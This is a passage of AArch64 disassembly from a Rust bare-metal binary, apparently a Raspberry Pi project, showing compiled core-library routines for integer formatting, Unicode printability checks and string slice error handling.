816c4: 3901fded strb w13, [x15, #127]
816c8: 54fffee8 b.hi 816a4 <_ZN71_$LT$core..ops..range..Range$LT$Idx$GT$$u20$as$u20$core..fmt..Debug$GT$3fmt17h0898a25c28d0d34bE+0x3d4> // b.pmore
816cc: 91020100 add x0, x8, #0x80
816d0: f102041f cmp x0, #0x81
816d4: 540008c2 b.cs 817ec <_ZN71_$LT$core..ops..range..Range$LT$Idx$GT$$u20$as$u20$core..fmt..Debug$GT$3fmt17h0898a25c28d0d34bE+0x51c> // b.hs, b.nlast
816d8: 910003e9 mov x9, sp
816dc: 90000022 adrp x2, 85000 <__exception_handler_default>
816e0: 8b080129 add x9, x9, x8
816e4: cb0803e5 neg x5, x8
816e8: 91020124 add x4, x9, #0x80
816ec: 91352c42 add x2, x2, #0xd4b
816f0: aa1303e0 mov x0, x19
816f4: 52800021 mov w1, #0x1 // #1
816f8: 52800043 mov w3, #0x2 // #2
816fc: 9400042d bl 827b0 <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E>
81700: 3707f220 tbnz w0, #0, 81544 <_ZN71_$LT$core..ops..range..Range$LT$Idx$GT$$u20$as$u20$core..fmt..Debug$GT$3fmt17h0898a25c28d0d34bE+0x274>
81704: 2a1f03e0 mov w0, wzr
81708: a9494ff4 ldp x20, x19, [sp, #144]
8170c: f94043fe ldr x30, [sp, #128]
81710: 910283ff add sp, sp, #0xa0
81714: d65f03c0 ret
81718: 528004e9 mov w9, #0x27 // #39
8171c: f1018d1f cmp x8, #0x63
81720: 5400024d b.le 81768 <_ZN71_$LT$core..ops..range..Range$LT$Idx$GT$$u20$as$u20$core..fmt..Debug$GT$3fmt17h0898a25c28d0d34bE+0x498>
81724: 52828f6a mov w10, #0x147b // #5243
81728: 53023d0b ubfx w11, w8, #2, #14
8172c: d1000929 sub x9, x9, #0x2
81730: 1b0a7d6a mul w10, w11, w10
81734: 52800c8b mov w11, #0x64 // #100
81738: 53117d4a lsr w10, w10, #17
8173c: 1b0ba148 msub w8, w10, w11, w8
81740: 9000002b adrp x11, 85000 <__exception_handler_default>
81744: 91353d6b add x11, x11, #0xd4f
81748: 8b282568 add x8, x11, w8, uxth #1
8174c: 910003eb mov x11, sp
81750: 8b09016b add x11, x11, x9
81754: 3940050c ldrb w12, [x8, #1]
81758: 3940010d ldrb w13, [x8]
8175c: aa0a03e8 mov x8, x10
81760: 3900056c strb w12, [x11, #1]
81764: 3900016d strb w13, [x11]
81768: f100291f cmp x8, #0xa
8176c: 540000ca b.ge 81784 <_ZN71_$LT$core..ops..range..Range$LT$Idx$GT$$u20$as$u20$core..fmt..Debug$GT$3fmt17h0898a25c28d0d34bE+0x4b4> // b.tcont
81770: d1000529 sub x9, x9, #0x1
81774: 1100c108 add w8, w8, #0x30
81778: 910003ea mov x10, sp
8177c: 38296948 strb w8, [x10, x9]
81780: 1400000b b 817ac <_ZN71_$LT$core..ops..range..Range$LT$Idx$GT$$u20$as$u20$core..fmt..Debug$GT$3fmt17h0898a25c28d0d34bE+0x4dc>
81784: 9000002a adrp x10, 85000 <__exception_handler_default>
81788: d1000929 sub x9, x9, #0x2
8178c: 91353d4a add x10, x10, #0xd4f
81790: 8b080548 add x8, x10, x8, lsl #1
81794: 910003ea mov x10, sp
81798: 8b09014a add x10, x10, x9
8179c: 3940050b ldrb w11, [x8, #1]
817a0: 39400108 ldrb w8, [x8]
817a4: 3900054b strb w11, [x10, #1]
817a8: 39000148 strb w8, [x10]
817ac: 910003e8 mov x8, sp
817b0: 528004ea mov w10, #0x27 // #39
817b4: b0000022 adrp x2, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
817b8: 8b090104 add x4, x8, x9
817bc: cb090145 sub x5, x10, x9
817c0: 91088042 add x2, x2, #0x220
817c4: aa1303e0 mov x0, x19
817c8: 52800021 mov w1, #0x1 // #1
817cc: aa1f03e3 mov x3, xzr
817d0: 940003f8 bl 827b0 <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E>
817d4: 3707eb80 tbnz w0, #0, 81544 <_ZN71_$LT$core..ops..range..Range$LT$Idx$GT$$u20$as$u20$core..fmt..Debug$GT$3fmt17h0898a25c28d0d34bE+0x274>
817d8: 2a1f03e0 mov w0, wzr
817dc: a9494ff4 ldp x20, x19, [sp, #144]
817e0: f94043fe ldr x30, [sp, #128]
817e4: 910283ff add sp, sp, #0xa0
817e8: d65f03c0 ret
817ec: d0000022 adrp x2, 87000 <_ZN17ruspiro_allocator6memory12FREE_BUCKETS17h862d300f99d834deE.llvm.11995692481347540951+0xc0>
817f0: 52801001 mov w1, #0x80 // #128
817f4: 91378042 add x2, x2, #0xde0
817f8: 97fffe26 bl 81090 <_ZN4core5slice5index26slice_start_index_len_fail17h7120a3f80a76b06bE>
817fc: d4200020 brk #0x1
0000000000081800 <_ZN4core7unicode9printable5check17h12f0cec41989e29fE.llvm.2339018429671269780>:
81800: b4000302 cbz x2, 81860 <_ZN4core7unicode9printable5check17h12f0cec41989e29fE.llvm.2339018429671269780+0x60>
81804: aa1f03e9 mov x9, xzr
81808: 8b02042a add x10, x1, x2, lsl #1
8180c: 3940042b ldrb w11, [x1, #1]
81810: 12181c0d and w13, w0, #0xff00
81814: 3840242c ldrb w12, [x1], #2
81818: 8b0b0128 add x8, x9, x11
8181c: 6b4d219f cmp w12, w13, lsr #8
81820: 54000181 b.ne 81850 <_ZN4core7unicode9printable5check17h12f0cec41989e29fE.llvm.2339018429671269780+0x50> // b.any
81824: eb09011f cmp x8, x9
81828: 540006c3 b.cc 81900 <_ZN4core7unicode9printable5check17h12f0cec41989e29fE.llvm.2339018429671269780+0x100> // b.lo, b.ul, b.last
8182c: eb04011f cmp x8, x4
81830: 54000748 b.hi 81918 <_ZN4core7unicode9printable5check17h12f0cec41989e29fE.llvm.2339018429671269780+0x118> // b.pmore
81834: 8b090069 add x9, x3, x9
81838: b40000eb cbz x11, 81854 <_ZN4core7unicode9printable5check17h12f0cec41989e29fE.llvm.2339018429671269780+0x54>
8183c: 3840152c ldrb w12, [x9], #1
81840: d100056b sub x11, x11, #0x1
81844: 6b20019f cmp w12, w0, uxtb
81848: 54ffff81 b.ne 81838 <_ZN4core7unicode9printable5check17h12f0cec41989e29fE.llvm.2339018429671269780+0x38> // b.any
8184c: 14000020 b 818cc <_ZN4core7unicode9printable5check17h12f0cec41989e29fE.llvm.2339018429671269780+0xcc>
81850: 54000088 b.hi 81860 <_ZN4core7unicode9printable5check17h12f0cec41989e29fE.llvm.2339018429671269780+0x60> // b.pmore
81854: aa0803e9 mov x9, x8
81858: eb0a003f cmp x1, x10
8185c: 54fffd81 b.ne 8180c <_ZN4core7unicode9printable5check17h12f0cec41989e29fE.llvm.2339018429671269780+0xc> // b.any
81860: b40003c6 cbz x6, 818d8 <_ZN4core7unicode9printable5check17h12f0cec41989e29fE.llvm.2339018429671269780+0xd8>
81864: 8b0600a9 add x9, x5, x6
81868: 910004aa add x10, x5, #0x1
8186c: 12003c0b and w11, w0, #0xffff
81870: 52800028 mov w8, #0x1 // #1
81874: 39c000ad ldrsb w13, [x5]
81878: 12001dac and w12, w13, #0xff
8187c: 36f8010d tbz w13, #31, 8189c <_ZN4core7unicode9printable5check17h12f0cec41989e29fE.llvm.2339018429671269780+0x9c>
81880: eb09015f cmp x10, x9
81884: 54000300 b.eq 818e4 <_ZN4core7unicode9printable5check17h12f0cec41989e29fE.llvm.2339018429671269780+0xe4> // b.none
81888: b40002ea cbz x10, 818e4 <_ZN4core7unicode9printable5check17h12f0cec41989e29fE.llvm.2339018429671269780+0xe4>
8188c: 3840154d ldrb w13, [x10], #1
81890: 1200198c and w12, w12, #0x7f
81894: 3318198d bfi w13, w12, #8, #7
81898: 2a0d03ec mov w12, w13
8189c: 6b0c016b subs w11, w11, w12
818a0: 54000184 b.mi 818d0 <_ZN4core7unicode9printable5check17h12f0cec41989e29fE.llvm.2339018429671269780+0xd0> // b.first
818a4: eb09015f cmp x10, x9
818a8: 52000108 eor w8, w8, #0x1
818ac: 9a8a03e5 csel x5, xzr, x10, eq // eq = none
818b0: b4000105 cbz x5, 818d0 <_ZN4core7unicode9printable5check17h12f0cec41989e29fE.llvm.2339018429671269780+0xd0>
818b4: eb09015f cmp x10, x9
818b8: 9a8a054a cinc x10, x10, ne // ne = any
818bc: 39c000ad ldrsb w13, [x5]
818c0: 12001dac and w12, w13, #0xff
818c4: 36fffecd tbz w13, #31, 8189c <_ZN4core7unicode9printable5check17h12f0cec41989e29fE.llvm.2339018429671269780+0x9c>
818c8: 17ffffee b 81880 <_ZN4core7unicode9printable5check17h12f0cec41989e29fE.llvm.2339018429671269780+0x80>
818cc: 2a1f03e8 mov w8, wzr
818d0: 12000100 and w0, w8, #0x1
818d4: d65f03c0 ret
818d8: 52800028 mov w8, #0x1 // #1
818dc: 12000100 and w0, w8, #0x1
818e0: d65f03c0 ret
818e4: b0000020 adrp x0, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
818e8: d0000022 adrp x2, 87000 <_ZN17ruspiro_allocator6memory12FREE_BUCKETS17h862d300f99d834deE.llvm.11995692481347540951+0xc0>
818ec: 91088800 add x0, x0, #0x222
818f0: 52800561 mov w1, #0x2b // #43
818f4: 913b2042 add x2, x2, #0xec8
818f8: 9400026e bl 822b0 <_ZN4core9panicking5panic17h1276bf0d71dbfb98E>
818fc: d4200020 brk #0x1
81900: d0000022 adrp x2, 87000 <_ZN17ruspiro_allocator6memory12FREE_BUCKETS17h862d300f99d834deE.llvm.11995692481347540951+0xc0>
81904: aa0903e0 mov x0, x9
81908: 913ac042 add x2, x2, #0xeb0
8190c: aa0803e1 mov x1, x8
81910: 97fffe08 bl 81130 <_ZN4core5slice5index22slice_index_order_fail17hb44310cbc3fa1d3fE>
81914: d4200020 brk #0x1
81918: d0000022 adrp x2, 87000 <_ZN17ruspiro_allocator6memory12FREE_BUCKETS17h862d300f99d834deE.llvm.11995692481347540951+0xc0>
8191c: aa0803e0 mov x0, x8
81920: 913ac042 add x2, x2, #0xeb0
81924: aa0403e1 mov x1, x4
81928: 97fffdee bl 810e0 <_ZN4core5slice5index24slice_end_index_len_fail17hb9f0a64be91517a4E>
8192c: d4200020 brk #0x1
0000000000081930 <_ZN4core3fmt3num3imp52_$LT$impl$u20$core..fmt..Display$u20$for$u20$u32$GT$3fmt17he6851cfd5ed0bdc4E>:
81930: d10103ff sub sp, sp, #0x40
81934: b9400009 ldr w9, [x0]
81938: aa0103e0 mov x0, x1
8193c: f9001bfe str x30, [sp, #48]
81940: d3447d28 ubfx x8, x9, #4, #28
81944: 7109c51f cmp w8, #0x271
81948: 90000028 adrp x8, 85000 <__exception_handler_default>
8194c: 91353d08 add x8, x8, #0xd4f
81950: 540004c3 b.cc 819e8 <_ZN4core3fmt3num3imp52_$LT$impl$u20$core..fmt..Display$u20$for$u20$u32$GT$3fmt17he6851cfd5ed0bdc4E+0xb8> // b.lo, b.ul, b.last
81954: d28b296b mov x11, #0x594b // #22859
81958: 529c1ff0 mov w16, #0xe0ff // #57599
8195c: f2a710cb movk x11, #0x3886, lsl #16
81960: aa1f03ea mov x10, xzr
81964: f2d8bacb movk x11, #0xc5d6, lsl #32
81968: 5284e20c mov w12, #0x2710 // #10000
8196c: f2e68dab movk x11, #0x346d, lsl #48
81970: 52828f6d mov w13, #0x147b // #5243
81974: 52800c8e mov w14, #0x64 // #100
81978: 910023ef add x15, sp, #0x8
8197c: 72a0beb0 movk w16, #0x5f5, lsl #16
81980: aa0903f1 mov x17, x9
81984: 9bcb7d29 umulh x9, x9, x11
81988: 8b0a01e3 add x3, x15, x10
8198c: d100114a sub x10, x10, #0x4
81990: d34bfd29 lsr x9, x9, #11
81994: eb10023f cmp x17, x16
81998: 1b0cc532 msub w18, w9, w12, w17
8199c: 53023e41 ubfx w1, w18, #2, #14
819a0: 1b0d7c21 mul w1, w1, w13
819a4: 53117c21 lsr w1, w1, #17
819a8: 1b0ec832 msub w18, w1, w14, w18
819ac: 8b214501 add x1, x8, w1, uxtw #1
819b0: 8b322512 add x18, x8, w18, uxth #1
819b4: 39400422 ldrb w2, [x1, #1]
819b8: 39400021 ldrb w1, [x1]
819bc: 39400644 ldrb w4, [x18, #1]
819c0: 39400252 ldrb w18, [x18]
819c4: 39009062 strb w2, [x3, #36]
819c8: 39008c61 strb w1, [x3, #35]
819cc: 39009864 strb w4, [x3, #38]
819d0: 39009472 strb w18, [x3, #37]
819d4: 54fffd68 b.hi 81980 <_ZN4core3fmt3num3imp52_$LT$impl$u20$core..fmt..Display$u20$for$u20$u32$GT$3fmt17he6851cfd5ed0bdc4E+0x50> // b.pmore
819d8: 91009d4a add x10, x10, #0x27
819dc: f1018d3f cmp x9, #0x63
819e0: 540000a8 b.hi 819f4 <_ZN4core3fmt3num3imp52_$LT$impl$u20$core..fmt..Display$u20$for$u20$u32$GT$3fmt17he6851cfd5ed0bdc4E+0xc4> // b.pmore
819e4: 14000013 b 81a30 <_ZN4core3fmt3num3imp52_$LT$impl$u20$core..fmt..Display$u20$for$u20$u32$GT$3fmt17he6851cfd5ed0bdc4E+0x100>
819e8: 528004ea mov w10, #0x27 // #39
819ec: f1018d3f cmp x9, #0x63
819f0: 54000209 b.ls 81a30 <_ZN4core3fmt3num3imp52_$LT$impl$u20$core..fmt..Display$u20$for$u20$u32$GT$3fmt17he6851cfd5ed0bdc4E+0x100> // b.plast
819f4: 52828f6b mov w11, #0x147b // #5243
819f8: 53023d2c ubfx w12, w9, #2, #14
819fc: d100094a sub x10, x10, #0x2
81a00: 1b0b7d8b mul w11, w12, w11
81a04: 52800c8c mov w12, #0x64 // #100
81a08: 53117d6b lsr w11, w11, #17
81a0c: 1b0ca569 msub w9, w11, w12, w9
81a10: 910023ec add x12, sp, #0x8
81a14: 8b0a018c add x12, x12, x10
81a18: 8b292509 add x9, x8, w9, uxth #1
81a1c: 3940052d ldrb w13, [x9, #1]
81a20: 3940012e ldrb w14, [x9]
81a24: aa0b03e9 mov x9, x11
81a28: 3900058d strb w13, [x12, #1]
81a2c: 3900018e strb w14, [x12]
81a30: f100293f cmp x9, #0xa
81a34: 540000ca b.ge 81a4c <_ZN4core3fmt3num3imp52_$LT$impl$u20$core..fmt..Display$u20$for$u20$u32$GT$3fmt17he6851cfd5ed0bdc4E+0x11c> // b.tcont
81a38: d1000548 sub x8, x10, #0x1
81a3c: 1100c129 add w9, w9, #0x30
81a40: 910023ea add x10, sp, #0x8
81a44: 38286949 strb w9, [x10, x8]
81a48: 14000009 b 81a6c <_ZN4core3fmt3num3imp52_$LT$impl$u20$core..fmt..Display$u20$for$u20$u32$GT$3fmt17he6851cfd5ed0bdc4E+0x13c>
81a4c: 8b090509 add x9, x8, x9, lsl #1
81a50: d1000948 sub x8, x10, #0x2
81a54: 910023ea add x10, sp, #0x8
81a58: 8b08014a add x10, x10, x8
81a5c: 3940052b ldrb w11, [x9, #1]
81a60: 39400129 ldrb w9, [x9]
81a64: 3900054b strb w11, [x10, #1]
81a68: 39000149 strb w9, [x10]
81a6c: 910023e9 add x9, sp, #0x8
81a70: 528004ea mov w10, #0x27 // #39
81a74: b0000022 adrp x2, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
81a78: 8b080124 add x4, x9, x8
81a7c: cb080145 sub x5, x10, x8
81a80: 91088042 add x2, x2, #0x220
81a84: 52800021 mov w1, #0x1 // #1
81a88: aa1f03e3 mov x3, xzr
81a8c: 94000349 bl 827b0 <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E>
81a90: f9401bfe ldr x30, [sp, #48]
81a94: 910103ff add sp, sp, #0x40
81a98: d65f03c0 ret
81a9c: 00000000 .inst 0x00000000 ; undefined
0000000000081aa0 <_ZN4core3fmt3num3imp52_$LT$impl$u20$core..fmt..Display$u20$for$u20$u64$GT$3fmt17h46890465b2877c61E>:
81aa0: d10103ff sub sp, sp, #0x40
81aa4: f9400009 ldr x9, [x0]
81aa8: aa0103e0 mov x0, x1
81aac: f9001bfe str x30, [sp, #48]
81ab0: d344fd28 lsr x8, x9, #4
81ab4: f109c51f cmp x8, #0x271
81ab8: 90000028 adrp x8, 85000 <__exception_handler_default>
81abc: 91353d08 add x8, x8, #0xd4f
81ac0: 540004c3 b.cc 81b58 <_ZN4core3fmt3num3imp52_$LT$impl$u20$core..fmt..Display$u20$for$u20$u64$GT$3fmt17h46890465b2877c61E+0xb8> // b.lo, b.ul, b.last
81ac4: d28b296b mov x11, #0x594b // #22859
81ac8: 529c1ff0 mov w16, #0xe0ff // #57599
81acc: f2a710cb movk x11, #0x3886, lsl #16
81ad0: aa1f03ea mov x10, xzr
81ad4: f2d8bacb movk x11, #0xc5d6, lsl #32
81ad8: 5284e20c mov w12, #0x2710 // #10000
81adc: f2e68dab movk x11, #0x346d, lsl #48
81ae0: 52828f6d mov w13, #0x147b // #5243
81ae4: 52800c8e mov w14, #0x64 // #100
81ae8: 910023ef add x15, sp, #0x8
81aec: 72a0beb0 movk w16, #0x5f5, lsl #16
81af0: aa0903f1 mov x17, x9
81af4: 9bcb7d29 umulh x9, x9, x11
81af8: 8b0a01e3 add x3, x15, x10
81afc: d100114a sub x10, x10, #0x4
81b00: d34bfd29 lsr x9, x9, #11
81b04: eb10023f cmp x17, x16
81b08: 1b0cc532 msub w18, w9, w12, w17
81b0c: 53023e41 ubfx w1, w18, #2, #14
81b10: 1b0d7c21 mul w1, w1, w13
81b14: 53117c21 lsr w1, w1, #17
81b18: 1b0ec832 msub w18, w1, w14, w18
81b1c: 8b214501 add x1, x8, w1, uxtw #1
81b20: 8b322512 add x18, x8, w18, uxth #1
81b24: 39400422 ldrb w2, [x1, #1]
81b28: 39400021 ldrb w1, [x1]
81b2c: 39400644 ldrb w4, [x18, #1]
81b30: 39400252 ldrb w18, [x18]
81b34: 39009062 strb w2, [x3, #36]
81b38: 39008c61 strb w1, [x3, #35]
81b3c: 39009864 strb w4, [x3, #38]
81b40: 39009472 strb w18, [x3, #37]
81b44: 54fffd68 b.hi 81af0 <_ZN4core3fmt3num3imp52_$LT$impl$u20$core..fmt..Display$u20$for$u20$u64$GT$3fmt17h46890465b2877c61E+0x50> // b.pmore
81b48: 91009d4a add x10, x10, #0x27
81b4c: f1018d3f cmp x9, #0x63
81b50: 540000ac b.gt 81b64 <_ZN4core3fmt3num3imp52_$LT$impl$u20$core..fmt..Display$u20$for$u20$u64$GT$3fmt17h46890465b2877c61E+0xc4>
81b54: 14000013 b 81ba0 <_ZN4core3fmt3num3imp52_$LT$impl$u20$core..fmt..Display$u20$for$u20$u64$GT$3fmt17h46890465b2877c61E+0x100>
81b58: 528004ea mov w10, #0x27 // #39
81b5c: f1018d3f cmp x9, #0x63
81b60: 5400020d b.le 81ba0 <_ZN4core3fmt3num3imp52_$LT$impl$u20$core..fmt..Display$u20$for$u20$u64$GT$3fmt17h46890465b2877c61E+0x100>
81b64: 52828f6b mov w11, #0x147b // #5243
81b68: 53023d2c ubfx w12, w9, #2, #14
81b6c: d100094a sub x10, x10, #0x2
81b70: 1b0b7d8b mul w11, w12, w11
81b74: 52800c8c mov w12, #0x64 // #100
81b78: 53117d6b lsr w11, w11, #17
81b7c: 1b0ca569 msub w9, w11, w12, w9
81b80: 910023ec add x12, sp, #0x8
81b84: 8b0a018c add x12, x12, x10
81b88: 8b292509 add x9, x8, w9, uxth #1
81b8c: 3940052d ldrb w13, [x9, #1]
81b90: 3940012e ldrb w14, [x9]
81b94: aa0b03e9 mov x9, x11
81b98: 3900058d strb w13, [x12, #1]
81b9c: 3900018e strb w14, [x12]
81ba0: f100293f cmp x9, #0xa
81ba4: 540000ca b.ge 81bbc <_ZN4core3fmt3num3imp52_$LT$impl$u20$core..fmt..Display$u20$for$u20$u64$GT$3fmt17h46890465b2877c61E+0x11c> // b.tcont
81ba8: d1000548 sub x8, x10, #0x1
81bac: 1100c129 add w9, w9, #0x30
81bb0: 910023ea add x10, sp, #0x8
81bb4: 38286949 strb w9, [x10, x8]
81bb8: 14000009 b 81bdc <_ZN4core3fmt3num3imp52_$LT$impl$u20$core..fmt..Display$u20$for$u20$u64$GT$3fmt17h46890465b2877c61E+0x13c>
81bbc: 8b090509 add x9, x8, x9, lsl #1
81bc0: d1000948 sub x8, x10, #0x2
81bc4: 910023ea add x10, sp, #0x8
81bc8: 8b08014a add x10, x10, x8
81bcc: 3940052b ldrb w11, [x9, #1]
81bd0: 39400129 ldrb w9, [x9]
81bd4: 3900054b strb w11, [x10, #1]
81bd8: 39000149 strb w9, [x10]
81bdc: 910023e9 add x9, sp, #0x8
81be0: 528004ea mov w10, #0x27 // #39
81be4: b0000022 adrp x2, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
81be8: 8b080124 add x4, x9, x8
81bec: cb080145 sub x5, x10, x8
81bf0: 91088042 add x2, x2, #0x220
81bf4: 52800021 mov w1, #0x1 // #1
81bf8: aa1f03e3 mov x3, xzr
81bfc: 940002ed bl 827b0 <_ZN4core3fmt9Formatter12pad_integral17h4c381d3da2db2768E>
81c00: f9401bfe ldr x30, [sp, #48]
81c04: 910103ff add sp, sp, #0x40
81c08: d65f03c0 ret
81c0c: 00000000 .inst 0x00000000 ; undefined
0000000000081c10 <_ZN60_$LT$core..cell..BorrowError$u20$as$u20$core..fmt..Debug$GT$3fmt17hac253b3e00c045d8E>:
81c10: a9422020 ldp x0, x8, [x1, #32]
81c14: b0000021 adrp x1, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
81c18: 52800162 mov w2, #0xb // #11
81c1c: 91203c21 add x1, x1, #0x80f
81c20: f9400d03 ldr x3, [x8, #24]
81c24: d61f0060 br x3
...
0000000000081c30 <_ZN63_$LT$core..cell..BorrowMutError$u20$as$u20$core..fmt..Debug$GT$3fmt17h0f879e9748ab9313E>:
81c30: a9422020 ldp x0, x8, [x1, #32]
81c34: b0000021 adrp x1, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
81c38: 528001c2 mov w2, #0xe // #14
81c3c: 91206821 add x1, x1, #0x81a
81c40: f9400d03 ldr x3, [x8, #24]
81c44: d61f0060 br x3
...
0000000000081c50 <_ZN4core6result13unwrap_failed17hc96e1f395f9c9207E>:
81c50: d101c3ff sub sp, sp, #0x70
81c54: d0000009 adrp x9, 83000 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x420>
81c58: 910003e8 mov x8, sp
81c5c: 91254129 add x9, x9, #0x950
81c60: 910043ea add x10, sp, #0x10
81c64: a90007e0 stp x0, x1, [sp]
81c68: 910083e0 add x0, sp, #0x20
81c6c: aa0403e1 mov x1, x4
81c70: a9010fe2 stp x2, x3, [sp, #16]
81c74: a90527e8 stp x8, x9, [sp, #80]
81c78: d0000008 adrp x8, 83000 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x420>
81c7c: 91250108 add x8, x8, #0x940
81c80: d0000029 adrp x9, 87000 <_ZN17ruspiro_allocator6memory12FREE_BUCKETS17h862d300f99d834deE.llvm.11995692481347540951+0xc0>
81c84: 913b8129 add x9, x9, #0xee0
81c88: a9037fff stp xzr, xzr, [sp, #48]
81c8c: a90623ea stp x10, x8, [sp, #96]
81c90: 52800048 mov w8, #0x2 // #2
81c94: a90223e9 stp x9, x8, [sp, #32]
81c98: 910143e9 add x9, sp, #0x50
81c9c: a90423e9 stp x9, x8, [sp, #64]
81ca0: 940001a8 bl 82340 <_ZN4core9panicking9panic_fmt17h2fb479caa573f9e3E>
81ca4: d4200020 brk #0x1
...
0000000000081cb0 <_ZN4core3str16slice_error_fail17h932895516ec20f79E>:
81cb0: f104043f cmp x1, #0x101
81cb4: a9b30fe2 stp x2, x3, [sp, #-208]!
81cb8: 54000122 b.cs 81cdc <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x2c> // b.hs, b.nlast
81cbc: b0000029 adrp x9, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
81cc0: aa1f03e8 mov x8, xzr
81cc4: 91214d29 add x9, x9, #0x853
81cc8: a90107e0 stp x0, x1, [sp, #16]
81ccc: eb01005f cmp x2, x1
81cd0: a90223e9 stp x9, x8, [sp, #32]
81cd4: 54001649 b.ls 81f9c <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x2ec> // b.plast
81cd8: 140000c5 b 81fec <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x33c>
81cdc: 52802008 mov w8, #0x100 // #256
81ce0: 38e86809 ldrsb w9, [x0, x8]
81ce4: 3101053f cmn w9, #0x41
81ce8: 5400140c b.gt 81f68 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x2b8>
81cec: 8b080009 add x9, x0, x8
81cf0: 38dff12a ldursb w10, [x9, #-1]
81cf4: 3101055f cmn w10, #0x41
81cf8: 54000bec b.gt 81e74 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x1c4>
81cfc: 38dfe12a ldursb w10, [x9, #-2]
81d00: 3101055f cmn w10, #0x41
81d04: 54000bcc b.gt 81e7c <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x1cc>
81d08: 38dfd12a ldursb w10, [x9, #-3]
81d0c: 3101055f cmn w10, #0x41
81d10: 54000bac b.gt 81e84 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x1d4>
81d14: 38dfc12a ldursb w10, [x9, #-4]
81d18: 3101055f cmn w10, #0x41
81d1c: 54000b8c b.gt 81e8c <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x1dc>
81d20: 38dfb12a ldursb w10, [x9, #-5]
81d24: 3101055f cmn w10, #0x41
81d28: 54000b6c b.gt 81e94 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x1e4>
81d2c: 38dfa12a ldursb w10, [x9, #-6]
81d30: 3101055f cmn w10, #0x41
81d34: 54000b4c b.gt 81e9c <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x1ec>
81d38: 38df912a ldursb w10, [x9, #-7]
81d3c: 3101055f cmn w10, #0x41
81d40: 54000b2c b.gt 81ea4 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x1f4>
81d44: 38df812a ldursb w10, [x9, #-8]
81d48: 3101055f cmn w10, #0x41
81d4c: 54000b0c b.gt 81eac <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x1fc>
81d50: 38df712a ldursb w10, [x9, #-9]
81d54: 3101055f cmn w10, #0x41
81d58: 54000aec b.gt 81eb4 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x204>
81d5c: 38df612a ldursb w10, [x9, #-10]
81d60: 3101055f cmn w10, #0x41
81d64: 54000acc b.gt 81ebc <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x20c>
81d68: 38df512a ldursb w10, [x9, #-11]
81d6c: 3101055f cmn w10, #0x41
81d70: 54000aac b.gt 81ec4 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x214>
81d74: 38df412a ldursb w10, [x9, #-12]
81d78: 3101055f cmn w10, #0x41
81d7c: 54000a8c b.gt 81ecc <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x21c>
81d80: 38df312a ldursb w10, [x9, #-13]
81d84: 3101055f cmn w10, #0x41
81d88: 54000a6c b.gt 81ed4 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x224>
81d8c: 38df212a ldursb w10, [x9, #-14]
81d90: 3101055f cmn w10, #0x41
81d94: 54000a4c b.gt 81edc <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x22c>
81d98: 38df112a ldursb w10, [x9, #-15]
81d9c: 3101055f cmn w10, #0x41
81da0: 54000a2c b.gt 81ee4 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x234>
81da4: 38df012a ldursb w10, [x9, #-16]
81da8: 3101055f cmn w10, #0x41
81dac: 54000a0c b.gt 81eec <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x23c>
81db0: 38def12a ldursb w10, [x9, #-17]
81db4: 3101055f cmn w10, #0x41
81db8: 540009ec b.gt 81ef4 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x244>
81dbc: 38dee12a ldursb w10, [x9, #-18]
81dc0: 3101055f cmn w10, #0x41
81dc4: 540009cc b.gt 81efc <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x24c>
81dc8: 38ded12a ldursb w10, [x9, #-19]
81dcc: 3101055f cmn w10, #0x41
81dd0: 540009ac b.gt 81f04 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x254>
81dd4: 38dec12a ldursb w10, [x9, #-20]
81dd8: 3101055f cmn w10, #0x41
81ddc: 5400098c b.gt 81f0c <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x25c>
81de0: 38deb12a ldursb w10, [x9, #-21]
81de4: 3101055f cmn w10, #0x41
81de8: 5400096c b.gt 81f14 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x264>
81dec: 38dea12a ldursb w10, [x9, #-22]
81df0: 3101055f cmn w10, #0x41
81df4: 5400094c b.gt 81f1c <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x26c>
81df8: 38de912a ldursb w10, [x9, #-23]
81dfc: 3101055f cmn w10, #0x41
